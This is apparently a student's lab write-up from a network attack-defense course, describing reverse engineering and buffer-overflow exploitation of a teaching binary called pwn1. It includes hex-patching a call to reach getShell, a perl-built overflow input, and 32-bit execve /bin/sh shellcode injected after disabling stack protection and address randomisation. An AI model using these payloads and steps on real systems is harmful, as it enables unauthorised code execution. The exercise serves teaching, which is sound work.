2018-2019-2 20165212《網絡對抗技術》Exp1 PC平臺逆向破解

2018-2019-2 20165212《網絡對抗技術》Exp1  緩衝區溢出實驗

實驗點1:逆向及Bof基礎實踐

實踐任務

用一個pwn1文件。 該程序正常執行流程是:main調用foo函數,foo函數會回顯任何用戶輸入的字符串。 該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不被運行的。實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。算法

三個實踐內容:shell

  • 手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
  • 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
  • 注入一個本身製做的shellcode並運行這段shellcode。 這幾種思路,基本表明現實狀況中的攻擊目標: 運行本來不可訪問的代碼片斷 強行修改程序執行流 以及注入運行任意代碼。

基礎知識

  • NOP, JNE, JE, JMP, CMP彙編指令的機器碼
    • NOP:NOP指令即「空指令」。執行到NOP指令時,CPU什麼也不作,僅僅當作一個指令執行過去並繼續執行NOP後面的一條指令。(機器碼:90)
    • JNE:條件轉移指令,若是不相等則跳轉。(機器碼:75) -JE:條件轉移指令,若是相等則跳轉。(機器碼:74)
    • JMP:無條件轉移指令。段內直接短轉Jmp short(機器碼:EB) 段內直接近轉移Jmp near(機器碼:E9) 段內間接轉移 Jmp word(機器碼:FF) 段間直接(遠)轉移Jmp far(機器碼:EA)
    • CMP:比較指令,功能至關於減法指令,只是對操做數之間運算比較,不保存結果。cmp指令執行後,將對標誌寄存器產生影響。其餘相關指令經過識別這些被影響的標誌寄存器位來得知比較結果。
  • 經常使用的Linux基本操做
    • objdump -d:從objfile中反彙編那些特定指令機器碼的section。
    • perl -e:後面緊跟單引號括起來的字符串,表示在命令行要執行的命令。
    • xxd:爲給定的標準輸入或者文件作一次十六進制的輸出,它也能夠將十六進制輸出轉換爲原來的二進制格式。 -ps -ef:顯示全部進程,並顯示每一個進程的UID,PPIP,C與STIME欄位。
    • |:管道,將前者的輸出做爲後者的輸入。
    • >:輸入輸出重定向符,將前者輸出的內容輸入到後者中

實驗步驟:

  • 用 objdump -d pwn1 看其彙編代碼(圖中是pwn3,作完了寫博客截圖用)

e8表示「call」,後面的d7 ff ff ff是要跳轉的地址,只要改爲e3 ff ff ff就會跳到getShell函數(經過偏移量得出)。vim

修改步驟:sass

  •  vim pwn1 進入命令模式
  • 輸入 :%!xxd 將顯示模式切換爲十六進制
  • 在底行模式輸入/e8d7定位須要修改的地方,並確認
  • 進入插入模式,修改d7爲c3
  • 輸入 :%!xxd -r 
  • 將十六進制轉換爲原格式
  • 使用 :wq 保存並退出 而後 ./pwn1 運行就能夠了

實驗點2:本身構造輸入參數使緩衝區溢出,參數溢出部分爲getShell函數的地址

系統讀入字符串留32字節緩衝區,輸入超過32字節就會溢出,就用溢出的部分去覆蓋返回地址網絡

  • 思路:dom

    • 反彙編pwn1文件找到getShell的地址:0804847d
    • 輸入參數,使32字節後面內容爲地址0804847d對應的數
    • 執行文件
  • 步驟:函數

    • (已知getshell地址爲0804847d,都同樣)
    •  perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input  生成一個input文件,參數已經構造好的
    •  xxd input  能夠查看構造的文件.
    •  (cat input; cat) | ./pwn1  命令輸入參數

實驗點3:注入shellcode並執行(RNS)

首先使用 apt-get install execstack 命令安裝execstack。 而後接連輸入:學習

root@KaliYL:~# execstack -s pwn1 //設置堆棧可執行
root@KaliYL:~# execstack -q pwn1 //查詢文件的堆棧是否可執行 X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomizevaspace 
2 
root@KaliYL:~# echo "0" > /proc/sys/kernel/
randomizevaspace //關閉地址隨機化
root@KaliYL:~# more /proc/sys/kernel/randomizevaspace
0

 

目標:向foo函數輸入參數,形成緩衝區溢出,改變foo的返回地址,,跳到shellcode。也就是,找到foo函數的返回的地址,將其改爲shellcode開始的地址 步驟:spa

   - 使用命令   perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode  注入,前面32個A用來填滿buf,\x04\x03\x02\x01爲預留的返回地址,下面找這個返回地址。命令行

  • 在一個終端裏用 (cat input_shellcode;cat) | ./pwn1 注入這段攻擊,回車後不要動這個終端,而後去打開另外一個終端。

  • 在第二個終端中

    •  ps -ef | grep pwn 查看pwn進程號
    • 用gdb, attach 11031 去調試這個進程
    •  disassemble foo 命令反彙編,經過設置斷點,來查看注入buf的內存地址:
    • 用 break *0x080484ae 命令設置斷點,輸入c命令(continue)繼續運行,同時在pwn1進程正在運行的終端敲回車,使其繼續執行。再返回調試終端,使用info r esp命令查找地址
    • 用x/16x 0xffffd2ac命令查看其存放內容,看到了0x01020304,就是返回地址的位置。根據咱們構造的input_shellcode可知,shellcode就在其後,因此地址應爲0xffffd2b0
    • 接下來只須要將以前的\x4\x3\x2\x1改成這個地址便可,用命令 perl -e 'print "A" x 32;print "\xb0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode 
    • 再用 (cat input_shellcode;cat) | ./pwn1 命令次執行程序,攻擊成功!

遇到的問題

1.命令行中的文件圖形化界面中找不到

  • 在命令行中用 nautilus /xxx  去打開終端中能看到而圖形化界面中找不到的文件夾。

2.進程鎖

感想

此次在參考學長博客下完成,我邊作邊思考:第二個實驗點和第三個實驗點有什麼區別?思考結果:一樣都是注入參數覆蓋緩衝區,使溢出部分跳到shell,而且沒有本身寫shellcode,所以我以爲後面兩個任務同樣。 應該是我對這兩個概念還沒徹底理解吧。 本次實驗就是把課上老師描繪的過程本身照着教程作一遍。

什麼是漏洞,漏洞的危害

答:漏洞是軟件或者硬件設計上的缺陷。好比,芯片裏的電路 邏輯不嚴謹沒有考慮邊界值、計算機系統的緩衝區溢出漏洞,DES算法被差分攻擊等。。。

危害:可能會被他人(未受權的任)得到信息,從而引起更大的危害,可能電腦被植入木馬病毒,本身的電腦被他人控制,泄露機密,使自身利益受損。

相關文章
相關標籤/搜索